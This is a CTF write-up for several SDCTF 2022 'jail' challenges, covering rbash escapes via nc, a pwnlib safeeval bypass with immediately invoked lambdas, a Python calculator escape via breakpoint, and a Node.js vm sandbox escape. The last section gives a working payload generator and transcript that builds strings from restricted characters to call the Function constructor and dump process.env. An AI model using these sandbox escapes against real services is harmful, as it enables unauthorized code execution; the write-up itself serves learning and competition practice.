Post

SDCTF 2022 Write-Ups

SDCTF 2022 Write-Ups

rbash-warmup

1
2
3
4
5
6
JAIL - Easy
Rbash Warmup
Welcome to the restricted shell! Demonstrate RCE on this rbash setup by running the /flag binary executable, and you will be awarded with the flag!
Connect via
socat FILE:`tty`,raw,echo=0 TCP:rbash-warmup.sdc.tf:1337
By k3v1n

I’ve never done an rbash escape before so I was pretty unsure of how to do typical linux things (like ls). I found this write-up that had some helpful ideas for getting started. Running the echo command allowed me to see what was in my home directory and discover that I could run nc based on the PATH. This version of nc allows you to run an arbitrary executable (whereas rbash does not let you include slashes) so we can use it to run /flag.

1

2

3

Turing-complete safeeval

1
2
3
4
5
6
7
8
9
10
JAIL - Easy
Turing-complete safeeval
Hey! We just made a brand new Turing-complete calculator based on a slight modification of pwnlib.util.safeeval to allow defining functions, because otherwise it would be Turing-incomplete.
⠀
Still we are allowing only pure functions, so there is no security implication right?
Connect via
nc safeeval.sdc.tf 1337
Calculator source code
calc.py
By k3v1n

Source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#! /usr/bin/env python3

import os

os.environ['PWNLIB_NOTERM'] = '1'

import sys
import traceback
import pwnlib.util.safeeval as safeeval

# https://github.com/Gallopsled/pwntools/blob/ef698d4562024802be5cc3e2fa49333c70a96662/pwnlib/util/safeeval.py#L3
_const_codes = [
    'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
    'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
    'BUILD_CONST_KEY_MAP', 'BUILD_STRING',
    'LOAD_CONST','RETURN_VALUE','STORE_SUBSCR', 'STORE_MAP',
    'LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE', 'DICT_UPDATE', 'DICT_MERGE',
    ]

_expr_codes = _const_codes + [
    'UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
    'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY',
    'BINARY_DIVIDE','BINARY_FLOOR_DIVIDE','BINARY_TRUE_DIVIDE',
    'BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT',
    'BINARY_LSHIFT','BINARY_RSHIFT','BINARY_AND','BINARY_XOR',
    'BINARY_OR',
    ]

# The above only allows Turing-incomplete evaluation,
# so we decided to add our own ingenious additions:
complete_codes = _expr_codes + ['MAKE_FUNCTION', 'CALL_FUNCTION']

TURING_COMPLETE = True

def expr(e):
    if TURING_COMPLETE:
        c = safeeval.test_expr(e, complete_codes)
        return eval(c)
    else:
        return safeeval.expr(e)

try:
    print('Turing complete mode:', 'on' if TURING_COMPLETE else 'off')
    while True:
        e = input('>>> ')
        if e == 'exit':
            break
        try:
            print(expr(e))
        except Exception as err:
            traceback.print_exc(file=sys.stdout)
except EOFError as e:
    print()

Looking at the code you can see that this module depends on pwntool’s safeeval code. Having looked at this before, I’m pretty sure the library does not recommend using this as a true sandbox. In any case, it seems that the vulnerability will come from the additions of the MAKE_FUNCTION and CALL_FUNCTION opcodes. Googling them took me to this site which showed an example of when these opcodes are used. Trying to call any pre-defined functions gives an error:

1

I couldn’t figure out how to make a function of my own however because each line is interpreted separately and you usually need at least two lines for a function. That’s when I thought of using a lambda function instead.

2

The problem with this is that assigning a lambda function to a variable also throws an error. IIFe only there was a way to call lambda functions immediately. This link shows a couple methods, but you can see mine below. Thankfully, inside the lambda function, you can execute any code you want and recover the flag.

3

Rbash Yet Another Calculator

1
2
3
4
5
6
7
8
JAIL - Medium
Rbash Yet Another Calculator
Rbash, in its most restricted form, is nothing but a calculator. To get started, try this command: echo $(( 1337 + 1337 ))
Disclaimer
The flag does not have an easy guessable filename, but it is located in the initial working directory of the rbash instance.
Connect via
socat FILE:`tty`,raw,echo=0 TCP:yac.sdc.tf:1337
By k3v1n

Ummm…

1

So I think that’s not what I was supposed to do based on the flag, but not sure what is the intended way. Anyways a flag is a flag.

SymCalc.py

1
2
3
4
5
6
7
8
JAIL - Medium
SymCalc.py
Welcome to SymCalc, the most secure calculator ever. Only punctuation and digits allowed!
Connect via
nc symcalc.sdc.tf 1337
Source code
symcalc.py
By k3v1n

Source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#! /usr/bin/env python3
import string, sys
from code import InteractiveConsole

sys.stderr = sys.stdout

# The most restrictive (=secure) calculator ever! Only operators and digits are allowed!
ALLOWED_CHARS = set(string.punctuation + string.digits + '\n')

ace = True

def pyjail_filter_code(source: str) -> bool:
    if ace:
        return True
    for char in source:
        if char not in ALLOWED_CHARS:
            return False
    return True

class SymCalc(InteractiveConsole):
    def runsource(self, source: str, filename: str="<input>", symbol: str="single") -> bool:
        if not pyjail_filter_code(source):
            print('[!] The source is not a valid calculator expression')
            return False
        return super().runsource(source, filename=filename, symbol=symbol)

BANNER = """
Welcome to SymCalc, the SYMbol-only CALCulator.
SymCalc combines a Python-like prompt interface with advanced formula support.
You are only allowed to type ASCII punctuations and digits.
Even whitespace is disallowed.
Basic example:
>>> 1+1
2

Order of operations is preserved, but you can use parenthesis anywhere
>>> 3*(5+5)+7
37

You can even use line breaks thanks to our Python syntax support:
>>> 1+1+\\
... 1+1
4

First answer a question:
""".strip()

print(BANNER)

sc = SymCalc()

fav_builtin = input('What is your favorite word? ')
if not (fav_builtin.isascii() and fav_builtin.isalpha() and fav_builtin.islower()):
    print(f"[!] {fav_builtin} ain't a word!")
    sys.exit(1)
sc.push(fav_builtin)
ace = False
print("Happy calculating! And don't even try to hack!")
sc.interact(banner="")

So in this problem it looks like the shell is extending an already made shell in the “cpython” library (F12 in VSCode helps a lot). Again, it seems like the focus is probably on the filter that is applied to our input. Not having letters is restrictive, but symbols can be used for special python operations. Besides that, we have the ability to select our favorite built-in on start. However, just because it is push()ed to the object doesn’t seem to help us much. However, looking through string.punctuation gives us a clue for how to use this. Also, I saw in my link from earlier on lambda functions that _ can be used to refer to the output of the previous operation:

1

I figured this part out fairly quickly; however, I spent forever trying to get exec or eval to work. I tried to convert integers to characters with format strings but only having access to 1 builtin proved to be too limiting. Finally I broke down and googled “list of python builtins.” That drew my attention to one I had never header of before:

2

There’s a breakpoint built-in?! I could’ve just used octal?!?! Clearly, I took a few unintended paths, but at least added another trick for the future.

SymCalc.js

1
2
3
4
5
6
7
8
JAIL - Hard
SymCalc.js
We ported our state-of-the-art calculator to Node.js because we were tired of Python's security issues...
Connect via
nc calcjs.sdc.tf 1337
Source code (yes its less than 40 lines)
server.mjs
By KNOXDEV

Source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import readline from 'readline';
import vm from 'vm';

const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout
});
const question = (query) => new Promise(resolve => rl.question(query, resolve));

const context = vm.createContext(
    // we make sure to pass in the NOTHING as the context (no library functions or process.env.FLAG)
    {},
    // and we make sure to disallow code generation of any kind
    { codeGeneration: { strings: false, wasm: false } }
);

// infinite REPL
console.log('Welcome to SymCalc.js, for all your math needs');
while(1) {
    const code = await question('> ');

    // don't allow characters that a calculator doesn't need!
    if (/[^\w\d\s+\-/*=<>\[\]()]/.test(code)) {
        console.log('Please do not use any illegal characters.');
        continue;
    }

    try {
        const result = vm.runInContext(code, context, { timeout: 3000 });
        console.log(result + '');
    } catch (e) {
        console.log(e + '');
    }
}

rl.close();

Node, my arch-nemesis, why anyone saw JavaScript and said “yes, let’s run that server-side” will always be beyond me. But anyways, let’s see if we can escape another jail. Again, this problem seems to extend a well-known library, so it is likely a vulnerability caused by the filter. However, in this case, I have actually look at vm before and I know that it has been upgraded to vm2 (at least I think that’s what happened, I just know vm is insecure). Googling for vm escapes I found this article. The article has a lot of example payloads, but based on the comment in the source code of the problem I’m guessing that we need to look at the environment variables. According to the article, we essentially need to run this: 'var x = this.constructor.constructor("return process.env")()'. As a little background into JS, each object has built-in metadata and functions. Objects inherit attributes and functions from their parent class when they are created. The vm library allows for this context to be removed and also prevents us from generating any code to run on our own. However, we can use the object constructor to call an anonymous function and run any code we want. Apologies for my terrible explanation, the article does a better job if you want a more in-depth look.

Now that we know what we need to do, we just have to bypass the filter. This is where another recurring CTF target comes in handy. I’m of course referring to JSFuck. Based on the ideas from the Wiki page, I came up with some inputs that would generate various useful strings with restricted characters. These can be used indexed to give use the characters we need. Once we store them in a string we can run our desired payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# inputs and outputs
io = {"(constructor + [])": "function Object() { [native code] }",
      "((1==1)+[])": "true",
      "((1==2)+[])": "false",
      "([][0]+[])": "undefined",
      "((5/4)+[])": "1.25",
      "(RegExp+([]+[]))": "function RegExp() { [native code] }"
    }

command = "constructor"
command = "console.log(process.env)"

lines = []
for letter in command:
    found = False
    for input in io:
        output = io[input]
        if letter in output:
            lines.append(f"{input}[{output.index(letter)}]")
            found = True
            break
    if not found:
        print("No command for:", letter)
print("+".join(lines))

"""
== proof-of-work: disabled ==
Welcome to SymCalc.js, for all your math needs
> c = (constructor + [])[3]+(constructor + [])[6]+(constructor + [])[2]+((1==2)+[])[3]+(constructor + [])[4]+((1==1)+[])[1]+(constructor + [])[1]+(constructor + [])[3]+(constructor + [])[4]+(constructor + [])[6]+((1==1)+[])[1]
constructor
> r = (constructor + [])[3]+(constructor + [])[6]+(constructor + [])[2]+((1==2)+[])[3]+(constructor + [])[6]+((1==2)+[])[2]+(constructor + [])[12]+((5/4)+[])[1]+((1==2)+[])[2]+(constructor + [])[6]+(RegExp+([]+[]))[11]+(constructor + [])[15]+(RegExp+([]+[]))[14]+((1==1)+[])[1]+(constructor + [])[6]+(constructor + [])[3]+(constructor + [])[12]+((1==2)+[])[3]+((1==2)+[])[3]+((5/4)+[])[1]+(constructor + [])[12]+(constructor + [])[2]+(constructor + [])[25]+(constructor + [])[16]
console.log(process.env)
> this[c][c](r)()
{ FLAG: 'sdctf{JaVaScriPT_SynTAX_Is_ADmirab1e}' }
undefined
"""

1

Huge shout-out to the SDCTF team for putting on a great CTF!!

This post is licensed under CC BY 4.0 by the author.